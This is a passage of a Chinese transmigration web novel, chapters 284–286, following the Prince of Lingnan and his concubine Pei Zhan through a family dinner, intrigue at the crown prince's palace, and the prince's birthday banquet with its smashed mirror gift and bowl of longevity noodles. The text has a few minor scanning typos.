很快,在嵇燕台的应允下,一道矮小的身影悄然出现在内室门口,怀里还抱着一只胖墩墩,圆滚滚的松狮犬。一个月过去。大福的身量几乎没这么长。裴允书倒是窜了一窜,身上瞧着也有肉了。 此刻,这一人一犬都换上了新制的冬衣。裴允书是件珊瑚色的小锦袄,衬得小脸玉雪可爱,大福则套着一件特制的同色小坎肩,四条粗短胖的小服腿采着空气,憨态可掬。 “汪!” 大福瞧见屋中两个大人,吠了声。 相较四五个月前,裴允书仍旧沉默,眼神却灵动有神了许多。 他抱着狗走进来,先是在裴湛的手心里写了几个字,然后仰起脸,一双大眼睛直溜溜地注视着嵇燕台,看起来竟有些拘谨和害羞。 裴湛替他说话,表达谢意。 因为给一条狗做新衣,还是嵇燕台下的令。 迎着幼童澄澈的目光,嵇燕台面上带笑,心里却装模作样地叹了口气, “哎,给这个崽话疗了几次,他还挺亲我的,想想之后会发生的事情,我都有点不好意思了。” ……你最好是! 系统空间里,NO01陷入沉默。 前阵子,袖从嵇燕台那儿,成功打听到关于折辱主角的一二计策,都不敢冒头催他做任务了,甚至还想劝几句, “嵇哥,不至于。” “嵇哥,算了吧。” “没必要把老婆当成上辈子的手足来整啊!” 天色不早不晚。 屋子里已经亮起了烛光。 嵇燕台大手一挥,提前叫了膳,“去吩咐小厨房,把庄子新送来的獐子肉切成薄片,再准备鲜嫩的青菜和菌子,动作快些。” 很快,膳厅里支起了铜锅子。 奶白色的高汤翻滚着香气。 新鲜的菜肉摆了一桌。 嵇燕台涮了一片獐子肉,又在蘸料碟里滚了一圈,送入口中,鲜香满溢。 裴允书心里记挂着大福,时不时往桌下看,遭了裴湛几声教训。 嵇燕台明明是在座最讲究等级分明的人,此时却不拘一格,直接将锅里的肉片喂给桌下的畜生,嘴上还说着, “吃锅子就是要热闹么。” “狗狗是人类.…人最好的朋友。”他冲裴允书眨眨眼,“叔父说得对不对?” 裴允书不知道该点头还是摇头,几乎将埋进了碗里。 这顿饭吃得热闹又畅快,气氛轻松。 隔着锅中冒出的潮热雾气,裴湛望向岭南王衔着笑的侧脸,眼中清明理智,心中却忍不住恍惚了一瞬, 若是此人可恶透顶,百般磋磨,也就罢了。 偏偏…… 饭后,允书吃得滚肚圆,被连翘带下去消食玩耍了。 嵇燕台没离开欺风小院,而是和裴湛一道回了内屋,又靠着软榻一番悠闲消遣。 裴湛对着灯,拾起了被耽搁一下午的事情。 一时间,屋里静悄悄的。 屋外的风声有些喧嚣,吹得枝头乱颤,摇出沙沙的声响。 裴湛放下笔,轻声道:“我参照王府往年的礼单和拜帖,将王爷寿宴的宾客名单拟了个大概,烦请王爷过目。” 嵇燕台头也不抬,只随口应了声, “不必了,你看着来便好。” 数息后。 一道人影遮住光,碍着他看话本子了,嵇燕台抬起头,就见裴湛站在榻边,手里还捏着那张宾客名单,正半敛着眸,盯着自己瞧呢。 烛光在他眼里晃晃悠悠。 嵇燕台单手撑着下巴,歪头道:“本王说过一遍了。” 裴湛却不动。 下一瞬,他歪进了嵇燕台的怀里, “王爷,我与允书,终究是罪臣之后。此番若出现在人前,是否会为王爷惹来麻烦?京中……恐有人不愿见我们活着,更遑论露面。“ 嵇燕台:”。” 你可以直接报太子的身份证号。在原著前期,裴湛并不知晓裴家惨案的真相全貌,却也有些猜测。他父亲官职不高,又是一介清官,挡不了别人的路,也不会与奸佞为伍。然而,他兄长裴淇担任太医一职,专为宫中贵人问诊治病,很有可能被牵扯其中。那日家宴,兄长匆匆被唤入宫,转眼间裴家便落了难,恩师容含章保下他一命已是不易,在送他离开京都之前,数次叮嘱他不要惦记着伸冤复仇。……这祸事,必然牵扯了皇家辛秘。兄长精通医道,口舌严密,不曾在家中谈论宫中贵人,裴湛只在他离席进宫那日,匆匆瞥见停在家宅附近的那辆马车。是太子府的马车。若他要向太子,晟朝未来的储君寻个真相,求个公道,无异于以卵击石,更何况自己身边还有一个允书要照顾。蜉蝣如何撼大树?裴湛闭了闭眼,靠在岭南王的肩头,又揽着他的脖子,语气谦卑地道了声,“.…求王爷教我,为我解惑。”嵇燕台美人在怀,忍不住轻笑了两声,像逗狗似的挠了挠裴湛的下巴,揶揄着说:“是教你,还是救你呀?”裴湛倒也坦诚,直言:“二者皆有。”嵇燕台吃饱喝足,又被人哄得高兴,便轻轻拍着他的面颊,安抚道:“乖,只要你不想着为你裴家翻案,安安分分地做本王的侍君,在这王府里就没人能动你们叔侄一根指头。”“那些不想你们活的人,手也伸不进本王的岭南王府。你就安心呆着,该吃吃,该喝喝。”裴湛默然。半晌。他问道:“倘若.……我想呢?”嵇燕台听到这句话,心里毫不意外,面上却摆出一副暗含愠怒的表情。他微颔首,居高临下地注视着怀里的人,残酷地甩下一句,“那便……等我死了吧。” 原著里就是这么写的。 嵇燕台对身后事并不看重,也不介意裴湛来舔自己的经验包,但他若是想要自己帮着他,去对付太子,那还是算了吧。怪累人的。 也不值当呀。 嵇燕台转念一想,也不好让裴湛彻底灰心丧气了,总要给人一个盼头,便又亲了亲他的唇,温声道:“本王话说重了……他叹了口气,幽幽道: “本王一番苦心,全是为了你好。” 嵇燕台模仿着原著里容含章的台词,又说了几句,不想听裴湛纠缠这个话题,便整个人往后靠了靠,抚摸着他的脑袋,微微施力——还是堵上吧。 第284辜 ChaBter 284 284、Chapter 284 孟冬,初八。 比起岭南的潮冷,京中是截然不同的冷肃与干燥。风声如刀,刮过空旷的宫道与朱红高墙,卷走了几片枯黄的叶片。 东宫,太子妃寝殿。 浓重苦涩的药味几乎凝成实质,压在殿内每一个角落,挥之不去。 窗子关得严严实实,隔绝了刺骨的寒风,也隔绝了大半天光,只余几盏昏黄的宫灯,在袅袅药烟中映照着病榻上那张毫无血色的脸。 “娘娘,该喝药了 榻上的女人叹了口气,“先放那儿吧。” 闻言,玉翡的眼眶一下子就红了。 她是太子妃的陪嫁丫鬟,跟着主子从府中一道入了宫,眼睁睁看着明艳动人的小姐变成了这般模样,不仅缠绵病榻一年之久,还跟太子离了心,竟是相看两厌了。 事情起因,还要从去岁说起。 当时太子与太子妃尚且恩爱,成婚两年,太子妃怀上身孕,自是喜不胜收,精心呵护着肚子里的胎儿。 太医也说她体质极好,气血充足。 怎知世事无常。 宫中宴席,太子妃不小心滑了一跤,当即腹痛溢血,五个多月的胎儿终究没能保住,落下来时已经成了型…… 是个男胎。 而太子妃彻底伤了底子,至今未好。 玉翡眼眶通红,忍不住小声为主子抱不平,叹道:“太子殿下未免太薄幸了,怎能将您冷落至此呀!” 这时,榻上的女人才道了声, …噤声,不可妄议太子。” 事实证明,有些人是经不得说的。 女人的话音刚落,太子便大步踏入殿内。 他的面容英俊,脸色却阴沉,眸中还带着今日早朝时被皇帝当众训斥的余怒和难堪,此刻又接到底下人传来的消息—— 没能诛杀目标。 约莫是有人为其遮掩行踪。 嵇珩越想越气,一股邪火直冲脑门。 废物! 这么长的时间,连个废了一只手的书生,和一个小崽子都解决不掉,还把人彻底弄丢了! 他站在殿中,先是喝退了玉翡,然后眼神阴鸷冰冷地投向床榻上的女人,声音里带着一股压抑不住的戾气, “姜芸!” “除了容含章那个老匹夫在碍事……是不是你也在暗中出了力,与孤作对?!” 姜芸抬着沉重的眼皮,那双明亮的眸子如今只剩下深潭般的空寂。这满脸的病容,让她看上去暮气沉沉的,仿佛人到晚夕。 她望着自己的丈夫,唇角浮现一抹略带嘲飒的笑,“呵……看来是老天爷也看不下去你对裴家赶尽杀绝的恶行了,天不助你,自然是诸事不顺。” “住口!” 嵇珩被触怒,眼中冷光毕露。 他指着床上的人,厉声道:“收起你那副假仁假义的嘴脸,孤只是想杀了那个姓裴的太医,若非你将他放出宫,裴家何至于被牵连?” 见姜芸脸色一白,他倍感畅快,接着道:“依孤看来,裴家落到今天这步田地,归根结底,是你给他们埋下了祸根!” “咳、咳咳……. 姜芸猛然咳嗽起来,面颊泛起不正常的红,仿佛要将心肺都咳出来。她死死抓住身下的锦被,从喉咙里挤出几个字, “你、你无耻!” “无耻?” 桩珩冷笑两声,俯身逼近,阴影笼罩住自己的妻子,声音如同毒蛇吐信,“就算孤再无耻,也是你的丈夫,与你姜家一荣俱荣,一损俱损,还以为你的父兄能撤清关系呢?” “管好你这张惹祸的嘴,否则……” 未尽的话语里,是赤裸裸的威胁。 嵇珩哼了声,甩袖离去。 “哐当。” 殿门合拢,隔绝了内外。 姜芸胸膛起伏,只觉得身体愈发沉重。 她疲惫地闭上眼,不由自主地睡了过去,再醒来时,玉翡正举着帕子为她擦拭身上的虚汗,带着哭腔道:“娘娘,您可得顾及着身子……” 片刻后。 玉翡犹豫了一下,声音更低,“方才前头传来消息,说是李侧妃诊出有孕了。” 听到这话,姜芸的睫毛颤了一下。 许久,她溢出一声几不可闻的叹息。 ……又是一个可怜人啊。 京中百般事,跟岭南相隔甚远。 岭南的冬,湿冷透骨。 只是天色刚暗一分,岭南王府内外便张灯结彩起来,往来宾客的人声鼎沸,驱散了那份阴郁。 为了这一日,府中上下筹备许久。 庭院中移栽的耐寒花木点缀着彩绸,回廊下悬挂的红灯笼早早点亮了,散开一片暖融且喜庆的光晕。 宴厅内,灯火通明,恍如白昼。 岭南王府的门槛不低,能入门拜寿的皆是有头有脸的官员,或是世家巨贾,众人济济一堂,恭贺之声不绝于耳。 厅外搭了台,乐人正在拨弦吹管。 真是一派富贵升平的热闹景象。 嵇燕台端坐于主位之上,着一身玄底金纹的华服,相较半年前,身形与脸色有了极大的变化,慵懒中,隐约透着一股不容直视的威严。 他手中把玩着一只白玉酒杯,目光淡淡地扫过下方宾客满座的场面,只觉得这一幕颇有大戏拉开缓缓序章的意味。 还是裴湛亲手筹备的。 嵇燕台偏过脸,瞥向下首侧座的男子。 裴湛穿了那身素白镶狐毛的袍子,清俊的容颜在辉煌灯火下更显夺目,气质出尘,眉宇间带着一丝疏离与清冷。 裴允书并未出现在前厅宴席之上。 比起那个不起眼的小不点儿,显然是裴湛的存在更引人注目些。 毕竟岭南王名声在外,骤然将一个男子接入府中,虽是个妾,却也实打实地给了名分,甚至一连数月不曾出入风月场所。 坊间传言更盛。 说是他被一个天仙似的男子迷住了,转变了性情。因此今日的贺礼中有一部分是送给裴湛的,都是些名贵物件,挑不出错处。 这不。 底下人刚搬下去一件恭祝良缘的珍品。 前头献礼的人刚坐下,下一个人便起了身。 那是一个身形健硕,皮肤微黑的年轻男子,瞧着是个爽朗的性子。他笑容满面地行了个礼,声音洪亮,“恭贺王爷千秋!” “小民沈潮生,家父沈鄞,有幸面见过王爷两回,年前便从东藩顶尖匠人处定制了一件新鲜物件儿,命小民定要将其献于王爷。” “哦?东藩匠人?” 嵇燕台挑了挑眉,举杯笑道:“原来是沈家少主啊,你父亲经营海船渔业有一手,倒是有心,往日给本王献过不少好东西…….” 除了东西,还有金银呢。 嵇燕台扬了扬下巴,“呈上来吧。” 闻言,沈潮生立刻示意身后侍从捧上一个尺余长的沉香木盒。 侍女接过木盒,恭敬地呈到嵇燕台面前。 这木盒方方正正,表面浮雕着栩栩如生的海底图景,珊瑚丛是宝石镶嵌,其间藏着数个容貌绝佳的鲛人,形态各异,香艳却不低俗。 鲛人鱼尾上的细钿闪着光。 盒子侧边嵌着一道细柄,供人摆弄。 嵇燕台挑挑眉:“八音盒?” 沈潮生神情惊讶,忍不住感叹一声,“王爷当真是见多识广,八音盒’此名无比贴切,倒是沈家自作聪明了,还想着这自鸣琴少有人认识……” 嵇燕台笑道:“有心了。” 席间有人恭维,想要见识一番。 嵇燕台随意地伸手,掀开了那精致的盒盖,就见盒中下陷,里头躺着一枚鸽子蛋般大小的深海东珠,两个鲛人剪影缠绕在一块儿,正欲起舞。 宛如海底宫殿,精致绝伦。 ——猝不及防的。 嵇燕台撞见了一张熟悉又陌生的脸。 这是一张男人的脸,眉峰凌厉,眼窝深邃,薄唇轻轻抿着,勾出一抹凉薄的笑,眸中的神采深沉至极,透露出历经沉浮的冰冷与算计…… 成熟、城府、被皇权浸透了内里。 是他自己的脸。 这八音盒的上盖内侧,赫然嵌着一面光可鉴人的玻璃水银镜,能够将对面之人的面庞照映地一清二楚,纤毫毕现。 比之铜镜,简直鬼斧神工。 “啪嚓!” 一声刺耳的碎裂巨响。 嵇燕台扣上盒盖,不料力道太大,失手将整个木盒扫落在地。 霎时间,盒身被摔得四分五裂。 里头那面价值连城的玻璃镜,更是碎成无数尖锐的碎片,散落一地,映射出明亮的光彩。 满堂的喧嚣戛然而止。 所有人的谈笑都咽进了肚子里,神情惊愕地看着主位上的岭南王,噤若寒蝉。沈潮生不明所以,却下意识地跪倒在地,膝下噗通一声,冷汗已然浸透后背。 “诸位,这是怎么了?” 座上的男人收回手,脸上的笑意纹丝不动,语气轻飘飘的,“本王一时不慎,失手摔了沈家少主的礼,倒是辜负了这一番美意。” 厅内外皆静,气氛沉郁。 沈潮生冷汗涔涔,做惯了生意的流利嘴皮子竟有些笨重,忽闻上首响起一道清朗的嗓音, “碎碎平安,年年康宁。” “这琳琅碎片闪耀生辉,恰似瑞星盈门,落地生花,不若一道举杯,恭祝王爷寿诞。” 有人递出话头,底下有了声,一句句吉祥话抛出来,落了满堂,只是声量轻得多,听起来有些怯生生的意味。 “还是裴侍君懂本王的心。” 然后,嵇燕台开了个只有自己懂的玩笑,他很豪迈挥了挥手,招呼道: “接着奏乐,接着舞!” 很快,厅内又热闹起来了。 可这热闹仿佛海市蜃楼,虚假而脆弱。 侍女小心翼翼地俯蹲着,收拾着满地残片。 嵇燕台饮尽杯中酒,心中已然兴致阑珊,便懒洋洋地起了身,头也不回地丢下一句,“本王不胜酒力,先下去醒醒酒……” 宴席未过半。 岭南王才饮了两三杯清酒罢了。 然而,底下众人却不敢有质疑之声,还要维持表面平静和热络,不少人悄悄向侧座的白衣男人投去视线,难藏好奇 … 嵇燕台挥退侍从,独自走在廊下。 灯笼挂了一路,亮堂堂的。 嵇燕台走了一路,心情不大好。 推开书房门时,他才后知后觉地发现,左掌内侧有一道细长的划痕。伤口不深,血渍在路上凝固了,只传来一阵微弱的刺痛感。 他无声吐槽道:“非常符合我对皇室贵族办生辰宴,或者这宴那宴的刻板印象。” 宴会上,总会发生点糟心事。 活像是固定场景,必定触发随机事件。 他坐下来,手臂搭在桌面上,食指曲起,一下下地敲击着,发出沉闷的声响, “笃、笃、笃……. 数到第八十九下的时候。 书房门外,传来三声清晰而克制的敲门声,恰好跟嵇燕台默数的心音重合,中断了进程。 “王爷,裴湛求见。” 285、Chapter 285 —岭南王从来不照镜子。 裴湛很早就意识到了这件事。 端倪初现,是他第一次主动求请岭南王共用午膳那天。 岭南王睡到日上三竿,他被召入主院内室,践行房里人的本分。 即:伺候对方洗漱更衣,以及束发。 替岭南王束发时,裴湛发现桌台上有一块方方正正的压痕,像是原本放了什么物件,忽然被人移走了,说不出的突兀。 那应该是一座镜台。 后来,岭南王弄得久了,开始宿在他屋里。 翌日清晨。 裴湛听到一道轻微的磕碰声。 他的身体疲惫至极,精神却紧绷,当即睁开双眼,视线擦过男人的腰腹,瞥见两个侍女合力将半人高的镜架搬出了屋子…… 岭南王比他醒得早。 有一只手,抚摸着他掩在锦被下的身子。 随即,裴湛听到男人不轻不重地啧了一声,侍女吓得一缩,动作却愈发小心谨慎,再没发出任何声响了。 这只是其二。 与岭南王相处得越久,裴湛觉出更多,更别提在几日前,他在总库房里瞧见的那座方底镜台,全然印证了自己的思绪。 裴湛拎得清自己的身份。 他不欲招致岭南王的厌恶,自是闭口不言。 尽管在府中下人面前,岭南王不曾掩饰过自己对镜子的不喜,沈家少主却不知情,一时不慎,便坏了事。 宴厅内。 岭南王离席后,沈家少主敛着惊惧,小心翼翼地向他问询,“待君,不知这件贺寿礼的哪一处惹得王爷不快?家父千叮咛万嘱咐,小民着实心中惶恐…” 其他宾客勉强维持着热闹,悄然投来视线。 裴湛怎么可能道出实情。 他顺着岭南王先前撂下的话,道了声, …只是手滑。” 沈家少主暗暗苦笑,不敢再问。 珊瑚宝石和玻璃水银镜碎了一地,侍女举着羽刷在桌下收拾着残片,裴湛冷不丁瞥见主座的桌腿藏着一抹薄红。 不是宝石碎粒。 而是一滴快要凝固的鲜血 … 此夜,岭南王府张灯结彩,好不亮堂。 裴湛站在书房门前等了好半晌,才得了岭南王一声‘进,他拎着侍女小跑送过来的小药箱迈进书房,就见里头一片昏暗。 书房里没有点灯。 廊下的光漫进来,照亮方。 岭南王躺在椅子里,单手撑于桌前,身形轮廓不见一分仪态。他的上半张脸隐于暗处,下半张脸看似不喜不怒,教人摸不准。 “你来做什么?”他问。 “王爷不胜酒力,裴湛自当遵行妻妾本分。” 嵇燕台维持着葛优瘫的姿势,听着裴湛复述了一遍自己曾规训他的话语,又见他放下小药箱,点了一盏灯笼。 霎时,书房亮起一角。 裴湛转身去关书房门,踱步到他面前,自然而然地坐进了他怀里,开始替他清理手掌内侧的那道划痕,涂上一层外伤膏后,再以纱布裹缠。 嵇燕台都快看笑了。 他搂着裴湛的腰,半张脸嵌在对方领口的白狐毛领处,悠然道:“乖宝贝,你再晚来一会儿,它就要自行痊愈了。” “王爷千金贵体,不可马虎。” 他的语气平静自然,嵇燕台冷不J想起此人初入王府头一个月的境况—从不主动出现在自己眼前,静悄悄的,恭敬有余,却全然不知该如何讨男人欢心。 现如今…. 算是被他调出来了? 一半一半吧。 他有心调弄人,裴湛亦是顺水推舟。 思忖间,嵇燕台用食指挑起裴湛的下巴,仔细品尝了几下他的唇,又轻咬着他的舌尖,故作好奇地问道:“你在宴上吃了哪几道菜?” “不曾动过筷子。”裴湛含糊道。 嵇燕台满脸不信,认真品尝,直至怀里的人气息不稳,才戏谑道:“本王觉得不对呀,若不是吃了蜜糕,你的嘴巴怎么这般甜?” 裴湛低声应道:…不知。” 嵇燕台仿若未闻,自顾自地哦了一声,恍然大悟道:“想来是本王爱重湛湛,忍不住将你当成一块可口的小蜜糕,巴不得一口口吃进肚子里呢。” 哈哈。 我好油。 曾几何时,嵇燕台还裹在襁褓里,听着那位太子哥一句接着一句的油言油语,险些腻到吐奶,恨不得挥舞着短胖的四肢,自行爬出寝殿,远离倒油现场。 时光荏苒。 如今嵇燕台倒是更上一层楼了。 与之相反,裴湛虽四肢修长有力,此时却如同一个不能自主的弱势婴孩,蜷在他怀中,或被迫或存心地摆出一副任君采撷的姿态。 权势啊…… 是高悬于顶的刀刃、是禁锢心魂的枷锁、亦是全天下最可口的蜜糕,引得千百年来无数人奋不顾身的追逐。 嵇燕台微微一笑。 正因他手握权势,裴湛只得对他曲意逢迎,这具顶天立地的丈夫腔子,要为他折腰,讲得出君子道义的唇舌,要任他尝,行得万里路的双足,亦是他赏玩之物! 这,就是权势。 思及此处,嵇燕台深嗅着裴湛的后颈。 那沐浴药包的幽香渗进了裴湛的皮肉,久久不褪,仿佛生来便有的体香,每一分每一毫,都是为了嵇燕台而生。 就在这时。 他听到裴湛轻声问道:“前厅宴会有卫总管照料着,稍后王爷醒了酒,可还要继续赴宴?” 嵇燕台直言道:“不去。” “没什么意思。” 裴湛并不意外,继续道:“王爷在宴席上只喝了几杯清酒,腹中难免不适,我在后院小厨房里备了吃食,不知……” 闻言,嵇燕台笑了两声。 裴湛当然没有未卜先知的本事。 所以,这必定是他事先准备的一个环节,大概是为了……刷自己的好感度? 哎。 小朋友真是太努力了。 嵇燕台站起身,双手钳制着裴湛的腰肢,迫使对方坐到书桌上,拉长尾音,语气亲昵,“湛湛一心为本王,怎能不去?” 书房内,烛光迷蒙。 前厅的丝竹之声顺着一阵风飘过廊下,从门窗的缝隙钻入屋中,喑哑了几分,听着很不真切。 裴湛默了默,倾身奉送一吻。 “多谢王爷。”他说。 嵇燕台盯着他那双乌黑的瞳眸,忽觉那阵风溜溜达达,吹入他的心口,将那点子没由来的心火扑灭了大半。 他知道裴湛在哄自己。 裴湛也知道岭南王知道自己在哄他。 但…… 嵇燕台确实被裴湛哄高兴了。 夜色沉沉。天幕辽阔无垠,星斗散落其中。 嵇燕台勾着裴湛的手腕,任由对方将自己带往后院小厨房的方向。刚跨过院门,他就听到几声细嫩的犬吠。 下一瞬。 身披珊瑚色小披风的大福从门后跳出来,尾巴甩成小旋风。裴允书慢了几步,走到半路还不小心绊了一跤,险些摔倒。 “来,叔父抱。” 嵇燕台上前两步,托着他的腋下,将这个小不点抱进怀里。裴湛在一旁看着,脸上看不出紧张和防备的情绪了。 小厨房里灯火通明,散发着静谧的光晕。 院落中央,一张石桌和几樽石凳被擦拭得干干净净,石凳上铺着软垫,石桌上更是摆好了几碟清爽的小菜和一壶温好的酒。裴湛引着嵇燕台坐在石凳上。 “还请王爷稍候片刻。” 嵇燕台饶有兴致地看着他走进小厨房。 门扉洞开。 墙上映着裴湛忙碌的影子。 裴湛大抵是脱下了那件白狐毛领袍子,又将衣袖挽起。他站在灶台前,看动作像是在揉面,侧影专注而沉静。 灶膛里的火光跳跃。 嵇燕台有一种在看皮影戏的错觉。 裴允书也没闲着,进进出出地帮忙。 松狮犬大福难得受了小主人的冷落,便叼着一个小绣球,屁颠屁颠地小跑到嵇燕台的脚边,发出呜呜的低鸣。 嵇燕台垂眸,盯了它好一会儿。 “汪呜。” 然后,嵇燕台捏起那个小绣球,随手往某个角落一扔,绣球里的铜铃啷当作响,大福迈着小短腿追过去,又跑回来。 片刻后。 裴湛端着一个托盘走了出来。 托盘上,是一只素净的青花瓷碗。 碗里盛着清亮的汤底,汤面上撒着几颗碧绿的葱花,一整根粗细均匀的面条盘踞在碗中央,热腾腾的,分量不算大。 这是一碗很普通的长寿面,甚至朴素过了头。 咔嗒一声。 裴湛将面碗放在了嵇燕台的桌前。 没有祝寿的吉祥话,也没有繁复的仪式,他只是安静地将一双干净的竹筷放在碗边 …我只会这个了。”他说。 嵇燕台看过原著,知道裴湛没说谎。 在裴家兄弟年幼时,他们的母亲常在两人生辰当日,亲手做一碗长寿面,后因感染风寒,落下咳疾,才不再出入厨房了。 嵇燕台捏起筷子,挑起那根面条。 入口之前,他瞥了一眼裴湛。 裴湛神情沉稳,眸光平静,丝毫不见怀念枉死亲眷的复杂情绪,嵇燕台不由得暗暗感慨了一句:脸上的功夫愈发精进,情绪藏得比以前好多了…… 嗯。 年轻人果然需要锻炼啊。 嵇燕台收回视线,将面条送入口中,顺应了长寿面的风俗寓意,将其一口气吃掉。 劲道爽滑。 他低头,喝了一口面汤。 汤底清澈,滋味却醇厚,恰到好处的咸鲜。 嵇燕台决定收回自己之前的吐槽。 虽说在前厅宴会上发生了一点不愉快,但今天确实是他——不记得多少年了——度过的最平静的一个生日。 小老婆好香。 能吃、又能做吃的。 嵇燕台连面带汤都吃尽了,被热汤面填满的胃部传来一阵餍足感,教人心情也变得更加愉快了。 “本王很满意。” 嵇燕台偏过头,笑吟吟地注视着人,语气里藏着一丝前所未有的温和, “好孩子应该得到奖励,对吗?”. ……见状,嵇燕台忍不住偷笑了一下。刚才还夸他表面功夫越来越到家,现在就漏了馅儿了,真以为自己会心软,容他跟自己谈条件呢?还是太年轻了。 286、Chapter 286 这顿晚膳用了很久。 侍女将桌上碗碟撤了下去,又呈上来两盏清茶和一碗撒了干果的热奶,连大福身前也多了个汤盆子,里头装满了热乎乎的骨头汤。 裴允书吃撑了,肚子滚圆。 他直愣愣地盯着虚空一点,小脸红扑扑的,嘴角残留着一丝奶渍,被裴湛拉过去,用帕子仔细地擦干净了。 嵇燕台气定神闲,假装没发现他被裴湛按在腿上擦嘴时,悄然投向自己的眼神。 不料,裴允书却主动靠过来了。 他双手背在身后,动作慢吞吞的。 下一瞬。 裴允书伸出手,递出一卷小小的画卷。 嵇燕台挑了挑眉,接过展开。 宣纸上,是一道稚嫩却端正的笔触一笔一划地写出‘寿’字,虽笔力不足,心意却清晰可见。 嵇燕台看着那字,又瞥了一眼裴允书,从那张略显呆板的脸上瞧出几分紧张,随手将纸卷放到一旁,抬手揉了揉他的发顶, “嗯,小允书真是有心了。” “叔父非常喜欢。” 时辰不早了。 前厅的宴会有卫都招待与善后,后院这头,裴允书没一会儿就揉起眼睛,脸上泛起困倦之色,裴湛连忙便唤来连翘,将他抱了下去。 霎时间,院中只剩下他们二人。 嵇燕台八风不动地坐着,也不说话。 片刻沉默。 裴湛忽而开口道:“今日,绣房将那两件白狐皮子制的……耳朵和尾巴送过来了,王爷可要回屋瞧一瞧?” 闻言,嵇燕台笑了一声。 这话里的邀宠意味太明显,带着试探。 尽管两人皆是心照不宣,且同宿了多回,但当裴湛听到男人低低的笑声时,仍旧无法自控地生出两分不自在与羞耻。 万万没想到的是— 向来索要无度的岭南王,拒绝了他。 “不必了,本王今夜回主院就寝,”嵇燕台的目光在裴湛脸上逡巡片刻,带笑道,“偶尔也要修生养息,缓缓。” 这话说的。 几乎在明说裴湛勾着他流连后院了。 裴湛神情淡淡,点头应是。 他面上不显颜色,耳根子却快要烧起来了。 嵇燕台欣赏完他略带窘迫的微表情,起身,冲裴湛伸出一只手,“走,跟本王一同去主院。天气这样冷,怀里有个人抱着才舒服呢。” 他顿了顿,意味深长地补充道: “只睡觉,不缠绵。” 裴湛微微一怔,眼中飞快掠过一丝茫然。 嵇燕台一把将他拉到身前,替他理了理鬓边的碎发,还装模作样地叹了口气, “湛湛近日操劳过度,本王都看在眼里,容你好生歇息一夜,才能领受本王承诺过的赏赐啊。” 裴湛下意识地蹭了蹭男人的手。 他掀着眼皮,眸中流露出两分探询。 这般姿态大大满足了嵇燕台身为男性的恶劣征服欲,他愈发满意,顺嘴打趣道:“怎么了?让你安安生生地睡一觉不好吗?还是……” “两天不弄,你这就想了?” 裴湛迅速垂下眼睑,浓密的睫毛掩去了所有情绪,语调平静,…多谢王爷体恤。” 怎么可能想? 迫于形势,不得不雌伏罢了。 若是他没由来地想着念着,还主动求,岂不是真成了岭南王口中的……. 裴湛闭了闭眼,心神已定。 主院的卧房比后院更为轩敞奢华,一连打通了几间屋子,里头摆满了屋主人的心爱之物。 嵇燕台愿将其称为— 登之痛屋。 真是越缺什么,越要强调什么。 嵇燕台没有这方面的障碍,天天一睁眼就是各式各样的限制款景品。看久了,着实乏味。 正因如此。 他在裴湛屋里宿的次数才越来越多了。 屋内熏着沉香,烛火微明。 嵇燕台也不是第一次带裴湛来主院卧房。 在他提裤子就走的那段时间,有数次让下人把裴湛带过来,完事后,再命人用小轿子将裴湛送回去。 小轿从主院一路抬到后院。 下人一见便知,王爷又要了裴侍君伺候。 嵇燕台当然是故意的。 不过,无论是在主院,或是后院,两人大晚上盖着棉被纯睡觉,这还是头一回。 裴湛正在内室洗漱。 外间,嵇燕台已经换上了丝质寝衣,卫都通报过后,悄无声息地进来回话,“王爷,寿宴宾客已尽数送别,府中各处也安顿妥当。” 嵇燕台淡淡地‘嗯’了一声。 满府的灯笼熄了大半,夜色重归沉寂。 他歪着脑袋,望着外头暗下来的模糊窗景,忽然想起自己错过了宴席上的梨园大戏,心里却也不觉得遗憾。 有一出戏,还没登台呢。 本打算今晚便敲锣打鼓,揭开帷幕,怎料戏里的角儿盘靓条顺,还使得来攻心之策,让嵇燕台这个自觉心黑的家伙软了心肠。 哎,可怜湛湛。 白天处理王府内务,晚上解决王爷内务。 连秋后问斩的死囚,行刑前还能吃顿好的,他嵇燕台怎么着也得让人睡个踏实觉吧? 裴湛伺候他,也算是尽心尽力。 不知怎么的,嵇燕台脑子里忽然响起一道清朗的青年嗓音,不知道在哪个角落里叽喳,“他就在那个灶台,给我做了一碗面!我第一次感受到家的味道!” 神经,我成白粥哥了? 那道青年嗓音纠正道:“是长寿面哥。” 嵇燕台:.……嗤。” 下首。 卫都忽而听到王爷的笑声,摸不着头脑。 嵇燕台并非精神分裂,只是自娱自乐。 有很长一段时间,他被困在一具孱弱的婴幼儿身体里,除了吃喝拉撒睡,什么都做不了,简直无聊到流口水。 只能自己在脑子里说相声,权当解闷。 他给自己逗了个闷子,然后收敛起思绪,冲卫都缓声道:“本王还有一件事要吩咐你。” 卫都颔首:“请王爷下令。” 嵇燕台轻飘飘地道了声,“府中刚办了一场宴席,明日还要收捡,下人们眼多嘴杂,小公子久病未愈,莫要让人惊扰了他,明白吗?” 卫都躬身应道:“是,奴才明白。” 随即,他便悄然退下了。 嵇燕台慢条斯理地起身,往内室走去,就见裴湛也换上了寝衣,一头顺滑的墨发披散在后背,被烛光染上一丝暖调。 侍女们端着水盆,鱼贯而出。 这一夜,两人同榻而眠。 破天荒的头一遭。 嵇燕台原以为自己睡不着——不是不习惯身边多了一个人的气息,而是宴席上那场小意外,不过听着裴湛清浅规律的呼吸,他竟困意上头…… 入睡之前,嵇燕台许了个愿望。 别做梦。 就算做梦了,也不要梦见老中小登 …. 翌日,清晨。 嵇燕台心情很好地用着早膳,一觉到天亮使他面色红润,精气神很足。裴湛坐在他身边,正用着一碗白粥。 嵇燕台莫名笑了一下。 听到这声儿,裴湛抬眸望过来。 嵇燕台笑而不语,给他夹了一筷子菜。两人之间的气氛带着昨夜的平和轻松。 少刻。 嵇燕台吃了个七分饱,放下了碗筷。裴湛不像最开始那样拘谨了,嵇燕台不吃,他就跟着放下筷子,也不管自己饱没饱。 不过,两者结束的时间差不太多。 嵇燕台问他,“饱了?” 裴湛颔首应是。 今儿天气好极了,屋内亮堂。 嵇燕台盯着他瞧了片刻,心中有些感概:裴湛到底是堪堪十八的少年人,饱睡一觉后,眼下的雪青色便褪了个七七八。 又是明眸皓齿的小郎君一枚呀。 岭南王的视线存在感极强。 见他冲自己招了招手,裴湛走过去,被他拉到大腿上坐着,接着便听到男人问, “昨天,绣房什么时候送过去的?” “.…午后。” 裴湛敛眸,想起昨日绣房送来的东西。 托盘上盖了一块红布,揭开后,盘内赫然摆着一条毛茸茸的白狐尾巴,配以腰链,能够悬挂在身后。另两只狐狸耳朵一左一右,缝在圆弧形的发圈上,生动极了。 此物的用途,昭然若揭。 